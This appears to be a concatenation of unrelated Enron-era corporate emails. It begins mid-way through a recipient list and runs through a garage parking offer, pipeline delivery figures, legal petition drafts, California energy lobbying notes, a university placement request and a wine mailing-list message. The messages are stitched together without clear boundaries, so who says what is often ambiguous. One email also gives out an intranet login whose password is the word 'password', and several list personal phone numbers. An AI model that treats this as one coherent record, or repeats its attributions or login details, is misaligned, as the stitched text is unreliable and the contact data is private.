Drummond/HOU/ECT@ECT, Tom Dutta/HOU/ECT@ECT, Laynie East/Enron@EnronXGate, 
John Enerson/HOU/ECT@ECT, David Fairley/Enron@EnronXGate, Nony 
Flores/HOU/ECT@ECT, Craig A Fox/Enron@EnronXGate, Julie S 
Gartner/Enron@EnronXGate, Maria Garza/HOU/ECT@ECT, Chris Germany/HOU/ECT@ECT, 
Monica Butler/Enron@EnronXGate, Chris Clark/NA/Enron@Enron, Christopher 
Coffman/Corp/Enron@Enron, Ron Coker/Corp/Enron@Enron, John 
Coleman/EWC/Enron@Enron, Nicki Daw/Enron@EnronXGate, Ranabir 
Dutt/Enron@EnronXGate, Kurt Eggebrecht/ENRON@enronxgate, Marsha 
Francis/Enron@EnronXGate, Robert H George/NA/Enron@Enron, Nancy 
Corbet/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Margaret 
Doucette/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Maria E 
Garcia/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Humberto 
Cubillos-Uejbe/HOU/EES@EES, Barton Clark/HOU/ECT@ECT, Ned E 
Crady/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Stinson Gibner/HOU/ECT@ECT, Stacy 
Gibson/Enron@EnronXGate, George N Gilbert/HOU/ECT@ECT, Mathew 
Gimble/HOU/ECT@ECT, Barbara N Gray/HOU/ECT@ECT, Alisa Green/Enron@EnronXGate, 
Robert Greer/HOU/ECT@ECT, Wayne Gresham/HOU/ECT@ECT, Mike 
Grigsby/HOU/ECT@ECT, Linda R Guinn/HOU/ECT@ECT, Cathy L Harris/HOU/ECT@ECT, 
Tosha Henderson/HOU/ECT@ECT, Scott Hendrickson/HOU/ECT@ECT, Nick 
Hiemstra/HOU/ECT@ECT, Kimberly Hillis/Enron@EnronXGate, Dorie 
Hitchcock/HOU/ECT@ECT, Jeffrey T Hodge/HOU/ECT@ECT, Georgeanne 
Hodges/Enron@EnronXGate, Jeff Hoover/HOU/ECT@ECT, Brad Horn/HOU/ECT@ECT, John 
House/HOU/ECT@ECT, Joseph Hrgovcic/Enron@EnronXGate, Dan J Hyvl/HOU/ECT@ECT, 
Steve Irvin/HOU/ECT@ECT, Rhett Jackson/Enron@EnronXGate, Patrick 
Johnson/HOU/ECT@ECT, Amy Jon/Enron@EnronXGate, Tana Jones/HOU/ECT@ECT, Peter 
F Keavey/HOU/ECT@ECT, Jeffrey Keenan/HOU/ECT@ECT, Brian 
Kerrigan/Enron@EnronXGate, Kyle Kettler/HOU/ECT@ECT, Faith 
Killen/Enron@EnronXGate, Joe Gordon/Enron@EnronXGate, Bruce 
Harris/NA/Enron@Enron, Chris Herron/Enron@EnronXGate, Melissa 
Jones/NA/Enron@ENRON, Lynna Kacal/Enron@EnronXGate, Allan 
Keel/Enron@EnronXGate, Mary Kimball/NA/Enron@Enron, Bruce 
Golden/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kim 
Hickok/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Elizabeth Howley/HOU/EES@EES, 
John King/Enron Communications@Enron Communications, Jeff 
Kinneman/Enron@EnronXGate, Troy Klussmann/Enron@EnronXGate, Mark 
Knippa/HOU/ECT@ECT, Deb Korkmas/HOU/ECT@ECT, Heather Kroll/Enron@EnronXGate, 
Kevin Kuykendall/HOU/ECT@ECT, Matthew Lenhart/HOU/ECT@ECT, Andrew H 
Lewis/HOU/ECT@ECT, Lindsay Long/Enron@EnronXGate, Blanca A 
Lopez/Enron@EnronXGate, Gretchen Lotz/HOU/ECT@ECT, Dan Lyons/HOU/ECT@ECT, 
Molly Magee/Enron@EnronXGate, Kelly Mahmoud/HOU/ECT@ECT, David 
Marks/HOU/ECT@ECT, Greg Martin/HOU/ECT@ECT, Jennifer Martinez/HOU/ECT@ECT, 
Deirdre McCaffrey/HOU/ECT@ECT, George McCormick/Enron@EnronXGate, Travis 
McCullough/HOU/ECT@ECT, Brad McKay/HOU/ECT@ECT, Brad 
McSherry/Enron@EnronXGate, Lisa Mellencamp/HOU/ECT@ECT, Kim 
Melodick/Enron@EnronXGate, Chris Meyer/HOU/ECT@ECT, Mike J 
Miller/HOU/ECT@ECT, Don Miller/HOU/ECT@ECT, Patrice L Mims/HOU/ECT@ECT, 
Yvette Miroballi/Enron@EnronXGate, Fred Mitro/HOU/ECT@ECT, Eric 
Moon/HOU/ECT@ECT, Janice R Moore/HOU/ECT@ECT, Greg Krause/Corp/Enron@Enron, 
Steven Krimsky/Corp/Enron@Enron, Shahnaz Lakho/NA/Enron@Enron, Chris 
Lenartowicz/Corp/Enron@ENRON, Kay Mann/Corp/Enron@Enron, Judy 
Martinez/Enron@EnronXGate, Jesus Melendrez/Enron@EnronXGate, Michael L 
Miller/NA/Enron@Enron, Stephanie Miller/Corp/Enron@ENRON, Veronica 
Montiel/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kenneth Krasny/Enron@EnronXGate, 
Janet H Moore/HOU/ECT@ECT, Brad Morse/HOU/ECT@ECT, Scott Neal/HOU/ECT@ECT, 
Gerald Nemec/HOU/ECT@ECT, Jesse Neyman/HOU/ECT@ECT, Mary Ogden/HOU/ECT@ECT, 
Sandy Olitsky/HOU/ECT@ECT, Roger Ondreko/Enron@EnronXGate, Ozzie 
Pagan/Enron@EnronXGate, Rhonna Palmer/Enron@EnronXGate, Anita K 
Patton/HOU/ECT@ECT, Laura R Pena/HOU/ECT@ECT, Susan W Pereira/HOU/ECT@ECT, 
Debra Perlingiere/HOU/ECT@ECT, John Peyton/HOU/ECT@ECT, Paul 
Pizzolato/Enron@EnronXGate, Laura Podurgiel/HOU/ECT@ECT, David 
Portz/HOU/ECT@ECT, Joan Quick/Enron@EnronXGate, Dutch Quigley/HOU/ECT@ECT, 
Pat Radford/HOU/ECT@ECT, Ina Rangel/HOU/ECT@ECT, Robert W Rimbau/HOU/ECT@ECT, 
Andrea Ring/HOU/ECT@ECT, Amy Rios/Enron@EnronXGate, Benjamin 
Rogers/HOU/ECT@ECT, Kevin Ruscitti/HOU/ECT@ECT, Elizabeth Sager/HOU/ECT@ECT, 
Richard B Sanders/HOU/ECT@ECT, Janelle Scheuer/Enron@EnronXGate, Lance 
Schuler-Legal/HOU/ECT@ECT, Sara Shackleton/HOU/ECT@ECT, Jean 
Mrha/NA/Enron@Enron, Caroline Nugent/Enron@EnronXGate, Richard 
Orellana/ENRON@enronXgate, Michelle Parks/Enron@EnronXGate, Steve 
Pruett/Enron@EnronXGate, Mitch Robinson/Corp/Enron@Enron, Susan 
Musch/Enron@EnronXGate, Larry Pardue/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Daniel R Rogers/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Frank 
Sayre/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kevin P Radous/Corp/Enron@Enron, 
Tammy R Shepperd/Enron@EnronXGate, Cris Sherman/Enron@EnronXGate, Hunter S 
Shively/HOU/ECT@ECT, Lisa Shoemake/HOU/ECT@ECT, James Simpson/HOU/ECT@ECT, 
Jeanie Slone/Enron@EnronXGate, Gregory P Smith/Enron@EnronXGate, Susan 
Smith/Enron@EnronXGate, Will F Smith/Enron@EnronXGate, Maureen 
Smith/HOU/ECT@ECT, Shari Stack/HOU/ECT@ECT, Geoff Storey/HOU/ECT@ECT, 
Fletcher J Sturm/HOU/ECT@ECT, John Swafford/Enron@EnronXGate, Ron 
Tapscott/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Stephen Thome/HOU/ECT@ECT, 
Larry Valderrama/Enron@EnronXGate, Steve Van Hooser/HOU/ECT@ECT, Hope 
Vargas/Enron@EnronXGate, Brian Vass/HOU/ECT@ECT, Victoria Versen/HOU/ECT@ECT, 
Charles Vetters/HOU/ECT@ECT, Janet H Wallis/HOU/ECT@ECT, Samuel 
Wehn/HOU/ECT@ECT, Jason R Wiesepape/HOU/ECT@ECT, Allen Wilhite/HOU/ECT@ECT, 
Bill Williams/PDX/ECT@ECT, Stephen Wolfe/Enron@EnronXGate, Stuart 
Zisman/HOU/ECT@ECT, George Zivic/HOU/ECT@ECT, Mary Sontag/Enron@EnronXGate, 
Eric Thode/Corp/Enron@ENRON, Carl Tricoli/Corp/Enron@Enron, Shiji 
Varkey/Enron@EnronXGate, Frank W Vickers/NA/Enron@Enron, Greg 
Whiting/Enron@EnronXGate, Becky Young/NA/Enron@Enron, Emily 
Adamo/Enron@EnronXGate, Jacqueline P Adams/HOU/ECT@ECT, Janie 
Aguayo/HOU/ECT@ECT, Peggy Alix/ENRON@enronXgate, Thresa A Allen/HOU/ECT@ECT, 
Sherry Anastas/HOU/ECT@ECT, Kristin Armstrong/Enron@EnronXGate, Veronica I 
Arriaga/HOU/ECT@ECT, Susie Ayala/HOU/ECT@ECT, Natalie Baker/HOU/ECT@ECT, 
Michael Barber/Enron@EnronXGate, Gloria G Barkowsky/HOU/ECT@ECT, Wilma 
Bleshman/Enron@EnronXGate, Dan Bruce/Enron@EnronXGate, Richard 
Burchfield/Enron@EnronXGate, Anthony Campos/HOU/ECT@ECT, Sylvia A 
Campos/HOU/ECT@ECT, Betty Chan/Enron@EnronXGate, Jason 
Chumley/Enron@EnronXGate, Marilyn Colbert/HOU/ECT@ECT, Audrey 
Cook/HOU/ECT@ECT, Diane H Cook/HOU/ECT@ECT, Magdelena Cruz/Enron@EnronXGate, 
Bridgette Anderson/Corp/Enron@ENRON, Walt Appel/ENRON@enronXgate, David 
Berberian/Enron@EnronXGate, Sherry Butler/Enron@EnronXGate, Rosie 
Castillo/Enron@EnronXGate, Christopher B Clark/Corp/Enron@Enron, Patrick 
Davis/Enron@EnronXGate, Larry Cash/Enron Communications@Enron Communications, 
Mathis Conner/Enron@EnronXGate, Lawrence R Daze/Enron@EnronXGate, Rhonda L 
Denton/HOU/ECT@ECT, Bradley Diebner/Enron@EnronXGate, Anna M 
Docwra/HOU/ECT@ECT, Kenneth D'Silva/HOU/ECT@ECT, Karen Easley/HOU/ECT@ECT, 
Kenneth W Ellerman/Enron@EnronXGate, Allen Elliott/Enron@EnronXGate, Rene 
Enriquez/Enron@EnronXGate, Soo-Lian Eng Ervin/Enron@EnronXGate, Irene 
Flynn/HOU/ECT@ECT, Christopher Funk/Enron@EnronXGate, Jim 
Fussell/Enron@EnronXGate, Clarissa Garcia/HOU/ECT@ECT, Lisa 
Gillette/HOU/ECT@ECT, Carolyn Gilley/HOU/ECT@ECT, Gerri Gosnell/HOU/ECT@ECT, 
Jeffrey C Gossett/HOU/ECT@ECT, Michael Guadarrama/Enron@EnronXGate, Victor 
Guggenheim/HOU/ECT@ECT, Cynthia Hakemack/HOU/ECT@ECT, Kenneth M 
Harmon/Enron@EnronXGate, Susan Harrison/Enron@EnronXGate, Elizabeth L 
Hernandez/HOU/ECT@ECT, Meredith Homco/HOU/ECT@ECT, Alton Honore/HOU/ECT@ECT, 
Roberto Deleon/Enron@EnronXGate, Jay Desai/HR/Corp/Enron@ENRON, Hal 
Elrod/Enron@EnronXGate, Paul Finken/Enron@EnronXGate, Brenda 
Flores-Cuellar/Enron@EnronXGate, Irma Fuentes/Enron@EnronXGate, Jim 
Gearhart/Enron@EnronXGate, Camille Gerard/Corp/Enron@ENRON, Sharon 
Gonzales/NA/Enron@ENRON, Carolyn Graham/Enron@EnronXGate, Thomas D 
Gros/Enron@EnronXGate, Sam Guerrero/Enron@EnronXGate, Andrew 
Hawthorn/Enron@EnronXGate, Katherine Herrera/Corp/Enron@ENRON, Christopher 
Ducker/Enron@EnronXGate, Jarod Jenson/Enron@EnronXGate, Wenyao 
Jia/Enron@EnronXGate, Kam Keiser/HOU/ECT@ECT, Katherine L Kelly/HOU/ECT@ECT, 
William Kelly/HOU/ECT@ECT, Dawn C Kenne/HOU/ECT@ECT, Lisa Kinsey/HOU/ECT@ECT, 
Victor Lamadrid/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT, Jenny 
Latham/HOU/ECT@ECT, Jonathan Le/Enron@EnronXGate, Lisa Lees/HOU/ECT@ECT, Kori 
Loibl/HOU/ECT@ECT, Duong Luu/Enron@EnronXGate, Shari Mao/HOU/ECT@ECT, David 
Maxwell/Enron@EnronXGate, Mark McClure/HOU/ECT@ECT, Doug 
McDowell/Enron@EnronXGate, Gregory McIntyre/Enron@EnronXGate, Darren 
McNair/Enron@EnronXGate, Keith Meurer/Enron@EnronXGate, Jackie 
Morgan/HOU/ECT@ECT, Melissa Ann Murphy/HOU/ECT@ECT, Gary Nelson/HOU/ECT@ECT, 
Michael Neves/Enron@EnronXGate, Joanie H Ngo/HOU/ECT@ECT, Thu T 
Nguyen/HOU/ECT@ECT, Angela Hylton/Enron@EnronXGate, Jeff 
Johnson/Enron@EnronXGate, Laura Johnson/Enron@EnronXGate, Robert W 
Jones/Enron@EnronXGate, Kara Knop/Enron@EnronXGate, John 
Letvin/Enron@EnronXGate, Kathy Link/Enron@EnronXGate, Teresa 
McOmber/NA/Enron@ENRON, James Moore/Enron@EnronXGate, Jennifer 
Nguyen/Corp/Enron@ENRON, ThuHa Nguyen/Enron@EnronXGate, George 
Nguyen/Enron@EnronXGate, Reina Mendez/Enron@EnronXGate, Frank Karbarz/Enron 
Communications@Enron Communications, William May/Enron Communications@Enron 
Communications, John Norden/Enron@EnronXGate, Kimberly S Olinger/HOU/ECT@ECT, 
Richard Pinion/HOU/ECT@ECT, Bryan Powell/Enron@EnronXGate, Phillip C. 
Randle/Enron@EnronXGate, Leslie Reeves/HOU/ECT@ECT, Stacey 
Richardson/HOU/ECT@ECT, Drew Ries/Enron@EnronXGate, Jose Ruiz/MAD/ECT@ECT, 
Tammie Schoppe/HOU/ECT@ECT, Mark L Schrab/HOU/ECT@ECT, Sherlyn 
Schumack/HOU/ECT@ECT, Susan M Scott/HOU/ECT@ECT, Stephanie Sever/HOU/ECT@ECT, 
Russ Severson/HOU/ECT@ECT, John Shupak/Enron@EnronXGate, Bruce 
Smith/Enron@EnronXGate, George F Smith/HOU/ECT@ECT, Will F 
Smith/Enron@EnronXGate, Mary Solmonson/Enron@EnronXGate, Sai 
Sreerama/HOU/ECT@ECT, Mechelle Stevens/HOU/ECT@ECT, Patti 
Sullivan/HOU/ECT@ECT, Robert Superty/HOU/ECT@ECT, Michael 
Swaim/Enron@EnronXGate, Janette Oquendo/Enron@EnronXGate, Ryan 
Orsak/ENRON@enronXgate, Mark Palmer/Corp/Enron@ENRON, Michael K 
Patrick/Enron@EnronXGate, John Pavetto/Enron@EnronXGate, Catherine 
Pernot/Enron@EnronXGate, John D Reese/Enron@EnronXGate, Sandy 
Rivas/Enron@EnronXGate, Sean Sargent/Enron@EnronXGate, Vanessa 
Schulte/Enron@EnronXGate, Rex Shelby/Enron@EnronXGate, Jeffrey 
Snyder/Enron@EnronXGate, Joe Steele/Enron@EnronXGate, Omar 
Taha/Enron@EnronXGate, Diana Peters/Enron@EnronXGate@ENRON_DEVELOPMENt, Harry 
Swinton/Enron@EnronXGate, James Post/Enron Communications@Enron 
Communications, Mable Tang/Enron@EnronXGate, Sheri Thomas/HOU/ECT@ECT, 
Alfonso Trabulsi/HOU/ECT@ECT, Susan D Trevino/HOU/ECT@ECT, Connie 
Truong/Enron@EnronXGate, Khadiza Uddin/Enron@EnronXGate, Adarsh 
Vakharia/HOU/ECT@ECT, Rennu Varghese/Enron@EnronXGate, Kimberly 
Vaughn/HOU/ECT@ECT, Judy Walters/HOU/ECT@ECT, Mary 
Weatherstone/Enron@EnronXGate, Stacey W White/HOU/ECT@ECT, Jason 
Williams/HOU/ECT@ECT, Scott Williamson/Enron@EnronXGate, O'Neal D 
Winfree/HOU/ECT@ECT, Jeremy Wong/Enron@EnronXGate, Rita Wynne/HOU/ECT@ECT, 
Steve Tenney/Enron@EnronXGate, Todd Thelen/Enron@EnronXGate, N Jessie 
Wang/Enron@EnronXGate, Gwendolyn Williams/ENRON@enronXgate, Dejoun 
Windless/Corp/Enron@ENRON, Jeanne Wukasch/Corp/Enron@ENRON, Lisa 
Yarbrough/Enron@EnronXGate, Will Zamer/Enron@EnronXGate, Ned 
Higgins/HOU/ECT@ECT, Saji John/Enron Communications@Enron Communications, 
Francisco Pinto Leite/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Barry 
Tycholiz/NA/Enron@ENRON, Bob M Hall/NA/Enron@Enron, Pamela 
Brown/NA/Enron@Enron, Gerri Gosnell/HOU/ECT@ECT
		 cc: Louis Allen/EPSC/HOU/ECT@ECT, Raquel Lopez/Corp/Enron@ENRON
		 Subject: Enron Center Garage

The Enron Center garage will be opening very soon.

Employees who work for business units that are scheduled to move to the new 
building and currently park in the Allen Center or Met garages are being 
offered a parking space in the new Enron Center garage.

This is the only offer you will receive during the initial migration to the 
new garage. Spaces will be filled on a first come first served basis. The 
cost for the new garage will be the same as Allen Center garage which is 
currently $165.00 per month, less the company subsidy, leaving a monthly 
employee cost of $94.00.

If you choose not to accept this offer at this time, you may add your name to 
the Enron Center garage waiting list at a later day and offers will be made 
as spaces become available. 

The Saturn Ring  that connects the garage and both buildings will not be 
opened until summer 2001. All initial parkers will have to use the street 
level entrance to Enron Center North until Saturn Ring access is available. 
Garage stairways next to the elevator lobbies at each floor may be used as an 
exit in the event of elevator trouble. 

If you are interested in accepting this offer, please reply via email to 
Parking and Transportation as soon as you reach a decision. Following your 
email, arrangements will be made for you to turn in your old parking card and 
receive a parking transponder along with a new information packet for the new 
garage.

The Parking and Transportation desk may be reached via email at Parking and 
Transportation/Corp/Enron or 713-853-7060  with any questions. 

(You must enter & exit on Clay St. the first two weeks, also pedestrians, 
will have to use the garage stairwell located on the corner of Bell & Smith.)

If you haven't seen this white paper as yet, may be worth your time.  It discusses EnronOnline's place in the market now and in the future (will still be here, but much less market share).  Among other things, says companies will develop APIs to take their transaction data back to their own systems (pg. 10).  Doesn't discuss the industry clearinghouse concept for processing these transactions.

http://www.forrester.com/Research/ThankYou/PDF/0,2254,14162,00.pdf

Thanks,

Fred

Any interest in this conference?

http://www.haas.berkeley.edu/citm/conferences/010522/

Vince

Happy New Year.  We hope your holidays were enjoyable and restful.  For a pleasant start to 2002, please join your Enron colleagues for coffee and donuts this Friday, January 11, from 8:00 - 9:00 a.m. in the lobby of the Enron Building.  We look forward to seeing you there.

*     TW March 2002 Average Daily Delivery               1,773		
       TW March 2002 Average Daily Receipt               1,825

*     A total of 229,023 mmbtu/d was made available for marketing's intra-month
       operational sales by managing line pack and coordinating OBA imbalances.

Michelle finalized OBA reconciliations with Mojave Pipeline.  Agreement to pay back physically 10,000 MMBtu/day for the remainder of this month with cash out for balance at the March Bloomberg index.  Michelle and Darrell agreed to sell the physical gas daily for the rest of the month.  This week's sell already generated an additional $72,700.

*   TW's Force majeure at the Bisti electric compressor station will remain in effect for approximately
     6 weeks for repairs.  Volumes allocated out of San Juan are approximately 80,000 mmbtu/d. 
    
Denis:

I spoke with Clem and forwarded the attached guaranty.  I didn't read the 
guaranty so I don't know if it was negotiated or standard.  You should 
contact Clem about the urgent nature of the request as I am not familiar with 
the details.  Thanks.  Sara

Denis

cc:  

I just spoke to the insurance company.  They are going to cancel and prorate 
my policy and work with the Kuo's to issue a new policy.

My Peeps
Just a reminder that we have a practice on Sunday from 1 to 3 PM at 
Westmoreland #2.  I would love to see many people there because some of you 
still need to pay me, some of you need to field some grounders and fly balls, 
and some of you need to take some BP.  Any questions, call me at 296-0782.
Chris

Attached is a draft press release announcing the resumption of trading tomorrow.  Please review, and if you have any comments or changes, please contact me by email or at x39757.

Thank you.
Karen

Please take a look at the attached draft explanation of recent events in the 
California gas market.  When completed, this narrative is intended to be used 
for two purposes:
1. The factual basis of an Enron/Ken Lay letter to regulators/legislators on 
recent events in the California gas market; and
2.  a briefing paper to be used by our DC office in dealing with 
legislators.  Specifically, Joe Hillings has been asked to provide a briefing 
to Congressman Bill Thomas (R-CA) prior to the congressman's upcoming meeting 
with FERC.

Still working to add more parties -- still planning to file at court tomorrow. Please provide any comments to me.  I'll coordinate for Enron.
 
From: Ed Duncan [mailto:EDuncan2@ArterHadden.com]
Sent: Wednesday, November 07, 2001 10:47 PM
To: rott1@aol.com; douglass@energyattorney.com; Mara, Susan; rochmanm@spurr.org
Cc: Karen Duncan; Michelle Dangott
Subject: CPUC/Supreme Court Petition

Attached is the final draft of the Petition for your review and comment.
 
Please provide your comments no later than noon PST on November 8, 2001.
 
There are several changes, all of which are cosmetic.  In summary:
    1.  Douglass has been added as an attorney of record so it is not necessary to obtain substitutions.  Instead, we will file an association of counsel which does not have to be signed by the party.
    2.  The Rules of Court are unclear regarding page length.  Since one set of rules could limit the length to 30 pages, I decided to stay within that limit.  This was done by restructuring the pleading, reducing the lines to 1.5 rather than 2 spaces, and editing.  
    3.  There has been no sacrifice of substance.  In fact, I added the nine factual questions enumerated by Bilas to show why hearings were necessary.
 
Tomorrow we will complete the Exhibit Folio and Motion for the Supreme Court to judicially notice certain exhibits:  rhe January 17 Proclamation by Davis, Resolution No. 46 and the Preferred Policy Decision.  We will also insert the page references for the exhibits.
 
Everything will be delivered to the copy service at noon to make the required copies for filing and service and to bind the pleadings.  It is my intent to file the Petition, Exhibit Folio, and Motion on Friday morning, have the CPUC personally served and every other party served by mail on Friday.  EWD

just remembered that my folks are in connecticutt.  if you want to go to the 
game, i'll go with you.  can you call me (from a land line phone)?

Prentice Sellers <psellers@Haas.Berkeley.EDU> on 09/08/2000 02:58:45 PM
To: jdasovic@enron.com
cc:  
Subject: Niner Game

Hi.  Cameron can't go to the game -- she's in Boston.  I don't have anyone
to go with me.  My dad is planning on selling the tickets to someone he
doesn't even know.  Do you want to find out if anyone in your family wants
to use them?  He needs to know in the next half hour.

I would call Kent and ask about this.  I would also remind him about our 
request for the pressure data in the September 14 letter and their 
obligations to keep pressures at the average pressure for the 3 year period 
prior to the effect date of the agreement.  

Mark,  We also need you to keep notes, with dates and times, of all your 
discussions and communications with Wildhorse.  Dan, Has been preparing his 
notes and you may want to just add onto his notes.  

Dan,  I also need to get a copy of your notes when you get a chance.

	10/02/2000 10:34 AM
		 
		 cc: 
		 Subject: FW: Production Report

Did you see this Gerald.  They have taken out one of our compressors.  Should 
I call Kent Harris?

Mark
----- Forwarded by Mark Whitt/NA/Enron on 10/02/2000 09:33 AM -----

	Dan J Bump
	Sent by: Dan J Bump
	10/02/2000 08:11 AM
		 
		 To: Mark Whitt/NA/Enron@Enron
		 cc: 

Shark see attached notes (on the excel spreadsheet) re: compression removal 
at San Arroyo....its ugly.

Also, I told Ken to (remember to) add you as his primary contact.

D

---------------------- Forwarded by Dan J Bump/NA/Enron on 10/02/2000 08:08 
   
	From:  "Ken" <kckrisa@apex2000.net>                           10/02/2000 
07:55 AM
	
Please respond to <kckrisa@apex2000.net>
To: "Dan Bump \(E-mail\)" <Dan.J.Bump@enron.com>, "Scott Josey \(E-mail\)" 
<scott.josey@enron.com>, "Gerald R. Nemec \(E-mail\)" <Gerald.Nemec@enron.com>
cc: "Arvel Martin \(E-mail\)" <amartin@enron.com> 
Subject: FW: Production Report

Please see the attached production report - note the comment under
"DOWNTIME" at the end of the report.  It indicates Wildhorse pulled out a
compressor last week at the San Arroyo Plant and our pressures have
increased.   We are trying to get more information and will pass it along
when we get it.

Ken Krisa

From: Jim
Sent: Monday, October 02, 2000 7:21 AM
To: Ken

From: Dreineke@aol.com [mailto:Dreineke@aol.com]
Sent: Monday, October 02, 2000 1:48 AM
To: jjosborne@apex2000.net
Cc: Arvel.Martin@enron.com
Subject: Production Report

Attached is the production report.
We are still having high line pressures.
I will call you after I speak with Wildhorse this morning.
Dan

 - SASEP30-2000.xls

Please find attached Credit's EOL responses for 1/14/00. 

Regards
Molly

Talked to Dave.  In a nut shell, here are the problem areas in the bill as he 
sees it.  It was a very brief conversation, but I think I've captured the key 
points:
Based on an expectation that the "expedited siting" bill would help site 
plants, Dave's group had six plants on the drawing board.

The 5 ppm requirement kills 4 of the 6, i.e., the 4 can't meet the 5 ppm 
requirement.
The requirement that the plants would either be 1) shut down after 3 years or 
2) replaced with a combined-cycle plant kills the other 2 because a) shutting 
down the plants in 3 years kills the economics, and b) the sites for the two 
LM-6000s can't accomodate combined cylces (i.e., Dave couldn't get siting).
In addition,the generator would be required to sign an exclusive with the ISO 
(which the EOB would have to approve), which takes away the optionality of 
going to the market, thus killing the economics.
On the labor side, it's complicated, but in essence, by requiring that "...it 
be shown that the applicant has a contract with a general contractor and has 
contracted for an adequate supply of skilled labor to construct, operate, and 
maintain the plant," 
it forces Dave to negotiate a labor deal before he knows what the project is 
(i.e, before the project has been approved), and,
it effectively prevents Enron from having the option to use internal 
resources (this issue is very specific to Enron; I can explain more if folks 
prefer).

In short, bullets 1-3 would seem to affect both Enron and the market, while 
the last bullet is, according to Dave, very Enron specific.  Point 2 in 
bullet 4, according to Dave is sensitive and should not be made public.

If any questions, let me know.  Bruno has emailed the price cap and the 
"general-funds-to-help-finance-the-cap" bills, and faxed the siting bill.

Best,
Jeff

DELETE IF NOT  GRADUATING THIS SEMESTER.

John Morel has asked all of you to take a few minutes to report placement
information through BEARTracks.  I know that you're very busy, but this is
really, really important information for us.  There are a number of reasons
why this information is critical:

(1)  We are very often asked for this data by prospective students who want
to know if the  MBA Program is "worth it."   This data we are able to
present to them is critical to our marketing efforts.

(2)  We often have to report this information to survey administrators
(e.g., Bus Week, etc.), who then plug it into their methodologies.  If we
don't have the information, or if we have skewed information because too
few people have reported the data, it places us at risk in the rankings.

So please take a few minutes out to report your placement information on
BearTracks.  I've copied John Morel's e-mail, below.

Diane
**********

BEEN PROMOTED OR TRANSFERRED INTO A NEW POSITION?
FOUND A NEW JOB WITH A NEW COMPANY?
ALL EVENING STUDENTS ARE REQUESTED TO POST SALARY INFORMATION ON OUR NEW
EveMBA PLACEMENT PAGE IN BEARTRACKS
PLEASE TAKE TWO MINUTES TO REPORT ANY PLACEMENT INFORMATION OR
TRANSFER/PROMOTION SALARY INFORMATION
We want to provide evening students with salary information that is
relevant to the level of professional unique to the EveMBA. This
information will be of value as you leverage your new knowledge in your
current position, as well as when you are going for a promotion/transfer or
conducting salary negotiations for a new position.
The information gathered is strictly confidential, salary reports will only
reflect aggregate data to protect confidentiality.
HOW DO YOU GET TO THE BEARTRACKS LINK?:
http://web.haas.berkeley.edu/intranet/ Use your student ID and the password
is the word password. It is that easy. Any problems logging on contact
Jocelyn Newman 510-643-0344 newman@haas
We would like to capture any placement/transfer/promotion activity you may
have to report that covers from 10/00 timeframe to present.
Look at the placement data from the reports generated by the fulltime program
http://www.haas.berkeley.edu/careercenter/placement_reports.html
On behalf of all current students, EveMBA alumni and new EveMBA graduates I
thank you.

Tana,

  If I understand the enclosed e-mail correctly, a license is only required 
if they resell the bandwidth.  If its for internal use, there is no licensing 
requirement.  The agreement includes reps that the parties have all necessary 
licenses.  Accordingly, I do not think you need to freeze Japanese Cos. from 
bandwidth.

  Cynthia and Michelle  -   please let Tana know if you have a different view 
or are able to provide additional information.  Thanks  

Welcome to the world of Scott Paul Wines!

All Contents Copyright, 2000.

_________________________________________Dear Friends of Scott Paul Wines -

We are pleased to announce that our debut release is finally here! The 1999 
Scott Paul wines are now available exclusively for you, our mailing-list 

To make a purchase, simply click on http://www.scottpaul.com/store/index.cfm 
and you'll be taken directly to the Scott Paul store on the web.

If you have any questions, or encounter any problems, please contact us 
directly at (707) 944-1188.

While on our site, don't forget to check out the new Fall Newsletter at 
http://www.scottpaul.com/newsletter.html for a complete update on the wines 
as well as an early 2000 harvest report.

Enjoy the wines!

Martha & Scott Wright, proprietors

You are receiving this because you expressed interest in learning more about 
Scott Paul Wines.  If you have received this email in error - please accept 
our apologies!

You may unsubscribe by going to http://www.scottpaul.com/mailing_list0.cfm

FYI.  As you know, we're attempting to find a solution to the "reasonable 
review" morrass that's impeding utility forward contracting.  For that 
effort, we've worked with the Portland desk to pull together some educational 
materials to use with a subset of California stakeholders that's trying to 
devise a solution to California's melt down.

The attached graphs show 3 scenarios for the state as a whole.  
1) "do nothing"  
2) for 60% of IOU short position, split the amount 50-50 and 1cover half the 
amount with 10-year  fixed priced power and the other half with 5-year fixed 
priced power.
3) create a portfolio with a) 25% of short position covered by 10-year fixed 
priced power, b) 20% of short position covered by 5-year fixed price power, 
c) 15% covered by 1-year fixed price power, d) 20% covered by May-Sept 
fixed-price power, and e) 15% from the PX.  

The term of each scenario is 5 years.

Because each is priced off our our curves, the average price is roughly 
equivalent for each of the three portfolios.  However, the graph shows (as 
one would expect) that exposure to price volatility is significantly higher 
under scenario 1 compared to 2 and 3.

The goal is to use the illustrative scenarios to persuade the industry that 
in the short run (i.e., immediately) the utilities should be permitted to buy 
a modest amount of power under 5 and 10 terms, and those purchases (if 
undertaken using a "DealBench-like" tool) ought to be "per se" reasonable.

If anyone has questions about it, or would like to discuss further, give a 
call at 415.782.7822.

Best,
Jeff
----- Forwarded by Jeff Dasovich/NA/Enron on 12/12/2000 12:54 PM -----

	Stephen Swain@ECT
	12/12/2000 12:38 PM
		 
		 cc: 
		 Subject: Portfolio file for distribution

Start Date: 3/3/01; HourAhead hour: 20;  No ancillary schedules awarded.  

Schedules\2001030320.txt

     Details: (Hour: 20 / Preferred:  11.00 / Final:   4.00)
  TRANS_DATE: 3/3/01

     Details: (Hour: 20 / Preferred:  75.00 / Final:  71.57)
  INTERCHG_ID: CISO_EPMI_3000
     Details: (Hour: 20 / Preferred:  75.00 / Final:  71.40)
  SC_ID: ECTltNW
  INTERCHG_ID: CISO_EPMI_6000

     Details: (Hour: 20 / Preferred:  75.66 / Final:  75.48)

 Jarrod:  Please let me know when you have received the deemed ISDA doc.  SS

	Jarrod Cyprow
	05/26/2000 01:54 PM
		 
